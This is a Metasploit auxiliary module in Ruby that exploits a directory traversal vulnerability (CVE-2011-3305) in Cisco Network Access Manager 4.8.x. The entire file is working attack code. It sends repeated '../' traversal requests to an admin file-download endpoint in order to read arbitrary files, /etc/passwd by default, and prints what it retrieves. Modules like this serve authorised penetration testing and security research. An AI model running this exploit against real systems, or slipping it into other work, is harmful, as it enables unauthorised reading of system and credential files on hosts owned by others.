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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Cisco Network Access Manager Directory Traversal Vulnerability',
'Description' => %q{
This module tests whether a directory traversal vulnerablity is present
in versions of Cisco Network Access Manager 4.8.x You may wish to change
FILE (e.g. passwd or hosts), MAXDIRS and RPORT depending on your environment.
},
'References' =>
[
[ 'CVE', '2011-3305' ],
[ 'OSVDB', '76080']
],
'Author' => [ 'Nenad Stojanovski <nenad.stojanovski[at]gmail.com>' ],
'License' => MSF_LICENSE,
'DefaultOptions' => {
'SSL' => true
}
)
register_options(
[
Opt::RPORT(443),
OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),
OptInt.new('MAXDIRS', [ true, 'The maximum directory depth to search', 7]),
], self.class)
end
def run_host(ip)
traversal = '../../'
part1= '/admin/file_download?tag='
part2 = '&fileType=snapshot'
begin
print_status("Attempting to connect to #{rhost}:#{rport}")
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/admin',
}, 25)
if (res)
1.upto(datastore['MAXDIRS']) do |level|
try = traversal * level
traversalstring = part1 + try + datastore['FILE'] + part2
res = send_request_raw(
{
'method' => 'GET',
'uri' => traversalstring,
}, 25)
if (res and res.code == 200)
print_status("Request ##{level} may have succeeded on #{rhost}:#{rport}!\r\n Response: \r\n#{res.body}")
break
elsif (res and res.code)
print_error("Attempt ##{level} returned HTTP error #{res.code} on #{rhost}:#{rport}\r\n")
end
end
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end